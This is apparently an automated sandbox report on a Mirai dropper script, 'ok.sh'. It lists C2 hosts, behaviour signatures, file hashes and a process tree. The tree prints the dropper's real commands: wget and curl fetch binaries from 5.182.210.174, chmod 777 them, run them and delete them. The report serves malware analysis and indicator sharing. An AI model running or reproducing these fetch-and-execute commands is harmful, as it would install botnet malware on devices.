Analysis

  • max time kernel
    138s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/08/2026, 20:07

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260823-yv3pbsap2x
  • SHA256 760e1d53ad462d4872bd9f9b65286be58440cea57cfb1c467905d4fdc7f73e05
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • kappadocia.net

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • 141.98.10.50

  • kappadocia.net

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • kappadocia.net

  • 141.98.10.50

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 49 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /usr/bin/wget
      wget http://5.182.210.174/393767
      2⤵
      • Writes file to tmp directory
      PID:649
    • /usr/bin/curl
      curl -O http://5.182.210.174/393767
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:671
    • /bin/chmod
      chmod 777 393767
      2⤵
      • File and Directory Permissions Modification
      PID:704
    • /tmp/393767
      ./393767 bc
      2⤵
        PID:706
      • /bin/rm
        rm -rf 393767
        2⤵
          PID:707
        • /bin/rm
          rm -rf 393767.1
          2⤵
            PID:711
          • /usr/bin/wget
            wget http://5.182.210.174/93779b
            2⤵
            • Writes file to tmp directory
            PID:714
          • /usr/bin/curl
            curl -O http://5.182.210.174/93779b
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:722
          • /bin/chmod
            chmod 777 93779b
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/93779b
            ./93779b bc
            2⤵
              PID:754
            • /bin/rm
              rm -rf 93779b
              2⤵
                PID:757
              • /bin/rm
                rm -rf 93779b.1
                2⤵
                  PID:758
                • /usr/bin/wget
                  wget http://5.182.210.174/ea884a
                  2⤵
                  • Writes file to tmp directory
                  PID:759
                • /usr/bin/curl
                  curl -O http://5.182.210.174/ea884a
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:760
                • /bin/chmod
                  chmod 777 ea884a
                  2⤵
                  • File and Directory Permissions Modification
                  PID:761
                • /tmp/ea884a
                  ./ea884a bc
                  2⤵
                    PID:762
                  • /bin/rm
                    rm -rf ea884a
                    2⤵
                      PID:764
                    • /bin/rm
                      rm -rf ea884a.1
                      2⤵
                        PID:765
                      • /usr/bin/wget
                        wget http://5.182.210.174/31cc29
                        2⤵
                        • Writes file to tmp directory
                        PID:766
                      • /usr/bin/curl
                        curl -O http://5.182.210.174/31cc29
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:767
                      • /bin/chmod
                        chmod 777 31cc29
                        2⤵
                        • File and Directory Permissions Modification
                        PID:768
                      • /tmp/31cc29
                        ./31cc29 bc
                        2⤵
                          PID:769
                        • /bin/rm
                          rm -rf 31cc29
                          2⤵
                            PID:771
                          • /bin/rm
                            rm -rf 31cc29.1
                            2⤵
                              PID:772
                            • /usr/bin/wget
                              wget http://5.182.210.174/f81791
                              2⤵
                              • Writes file to tmp directory
                              PID:773
                            • /usr/bin/curl
                              curl -O http://5.182.210.174/f81791
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:774
                            • /bin/chmod
                              chmod 777 f81791
                              2⤵
                              • File and Directory Permissions Modification
                              PID:776
                            • /tmp/f81791
                              ./f81791 bc
                              2⤵
                              • Modifies Watchdog functionality
                              • Enumerates active TCP sockets
                              • Changes its process name
                              • Reads system network configuration
                              • Reads runtime system information
                              PID:777
                            • /bin/rm
                              rm -rf f81791
                              2⤵
                                PID:779
                              • /bin/rm
                                rm -rf f81791.1
                                2⤵
                                  PID:782
                                • /usr/bin/wget
                                  wget http://5.182.210.174/018391
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:783
                                • /usr/bin/curl
                                  curl -O http://5.182.210.174/018391
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:785
                                • /bin/chmod
                                  chmod 777 018391
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:786
                                • /tmp/018391
                                  ./018391 bc
                                  2⤵
                                    PID:787
                                  • /bin/rm
                                    rm -rf 018391
                                    2⤵
                                      PID:789
                                    • /bin/rm
                                      rm -rf 018391.1
                                      2⤵
                                        PID:790
                                      • /usr/bin/wget
                                        wget http://5.182.210.174/98b74b
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:791
                                      • /usr/bin/curl
                                        curl -O http://5.182.210.174/98b74b
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:792
                                      • /bin/chmod
                                        chmod 777 98b74b
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:793
                                      • /tmp/98b74b
                                        ./98b74b bc
                                        2⤵
                                          PID:794
                                        • /bin/rm
                                          rm -rf 98b74b
                                          2⤵
                                            PID:796
                                          • /bin/rm
                                            rm -rf 98b74b.1
                                            2⤵
                                              PID:797
                                            • /usr/bin/wget
                                              wget http://5.182.210.174/f2a73f
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:798
                                            • /usr/bin/curl
                                              curl -O http://5.182.210.174/f2a73f
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:799
                                            • /bin/chmod
                                              chmod 777 f2a73f
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:800
                                            • /tmp/f2a73f
                                              ./f2a73f bc
                                              2⤵
                                              • Modifies Watchdog functionality
                                              • Enumerates active TCP sockets
                                              • Changes its process name
                                              • Reads system network configuration
                                              • Reads runtime system information
                                              PID:801
                                            • /bin/rm
                                              rm -rf f2a73f
                                              2⤵
                                                PID:803
                                              • /bin/rm
                                                rm -rf f2a73f.1
                                                2⤵
                                                  PID:806
                                                • /usr/bin/wget
                                                  wget http://5.182.210.174/07c0df
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:807
                                                • /usr/bin/curl
                                                  curl -O http://5.182.210.174/07c0df
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:808
                                                • /bin/chmod
                                                  chmod 777 07c0df
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:809
                                                • /tmp/07c0df
                                                  ./07c0df bc
                                                  2⤵
                                                    PID:810
                                                  • /bin/rm
                                                    rm -rf 07c0df
                                                    2⤵
                                                      PID:812
                                                    • /bin/rm
                                                      rm -rf 07c0df.1
                                                      2⤵
                                                        PID:813
                                                      • /usr/bin/wget
                                                        wget http://5.182.210.174/efcd2d
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:814
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.174/efcd2d
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:817
                                                      • /bin/chmod
                                                        chmod 777 efcd2d
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:818
                                                      • /tmp/efcd2d
                                                        ./efcd2d bc
                                                        2⤵
                                                          PID:819
                                                        • /bin/rm
                                                          rm -rf efcd2d
                                                          2⤵
                                                            PID:821
                                                          • /bin/rm
                                                            rm -rf efcd2d.1
                                                            2⤵
                                                              PID:822
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.174/ecdaae
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:823
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.174/ecdaae
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:825
                                                            • /bin/chmod
                                                              chmod 777 ecdaae
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:827
                                                            • /tmp/ecdaae
                                                              ./ecdaae bc
                                                              2⤵
                                                                PID:828
                                                              • /bin/rm
                                                                rm -rf ecdaae
                                                                2⤵
                                                                  PID:830
                                                                • /bin/rm
                                                                  rm -rf ecdaae.1
                                                                  2⤵
                                                                    PID:831
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.174/4b4463
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:832
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.174/4b4463
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:833
                                                                  • /bin/chmod
                                                                    chmod 777 4b4463
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:834
                                                                  • /tmp/4b4463
                                                                    ./4b4463 bc
                                                                    2⤵
                                                                      PID:835
                                                                    • /bin/rm
                                                                      rm -rf 4b4463
                                                                      2⤵
                                                                        PID:836
                                                                      • /bin/rm
                                                                        rm -rf 4b4463.1
                                                                        2⤵
                                                                          PID:837

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            018391

                                                                            • Path /tmp/018391
                                                                            • Size 45KB
                                                                            • SHA256 41ac975aa0638b879bade9f672fbcdacb303bc6ceb5e92083b85af9cd440cd04
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            07c0df

                                                                            • Path /tmp/07c0df
                                                                            • Size 49KB
                                                                            • SHA256 3366350561c41f5d15994244bfd7358ca256d16a1e954d7a986bd4d2d50c895e
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            31cc29

                                                                            • Path /tmp/31cc29
                                                                            • Size 53KB
                                                                            • SHA256 abda6887930f4e2e1047b39adf23bbf8bdee9e15c7e2101245bb690be7d80488
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            393767

                                                                            • Path /tmp/393767
                                                                            • Size 61KB
                                                                            • SHA256 3b2f2f02077aee3efe6dcca1bb84afc59af14fff78d1b6dd18aed0c24e08a313
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            4b4463

                                                                            • Path /tmp/4b4463
                                                                            • Size 43KB
                                                                            • SHA256 b595ef9ca4756a07bc83027a943009cb947d03c4c261a3e4cc3bec467b43c203
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            93779b

                                                                            • Path /tmp/93779b
                                                                            • Size 65KB
                                                                            • SHA256 5c502903694591a219ca263247c4c159967c5838c9a85641f3fb908b983d1e32
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            98b74b

                                                                            • Path /tmp/98b74b
                                                                            • Size 44KB
                                                                            • SHA256 9c719ba3b1cd4a8cf820c5eaea04aae7d0188da53e75f18f9c04c1fbbd3cc97e
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            ea884a

                                                                            • Path /tmp/ea884a
                                                                            • Size 67KB
                                                                            • SHA256 a75a98641037e42abb4c543d90e81dafdae3b27e90972b705a2e9242a5bee123
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            ecdaae

                                                                            • Path /tmp/ecdaae
                                                                            • Size 49KB
                                                                            • SHA256 bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            efcd2d

                                                                            • Path /tmp/efcd2d
                                                                            • Size 48KB
                                                                            • SHA256 9d44d4d051f6aa3fbc95fab0aae818347a602d655fa7f1fba6267e728d7ff2d3
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            f2a73f

                                                                            • Path /tmp/f2a73f
                                                                            • Size 120KB
                                                                            • SHA256 383819dd8c7df6077d193ace66715d7b3e5d82e0de0ad87ef8a783965786d606
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            f81791

                                                                            • Path /tmp/f81791
                                                                            • Size 51KB
                                                                            • SHA256 8bdbe21eafc7223a75ea9d075237d389e0c39f6370721f1ea36214989e5bab63
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH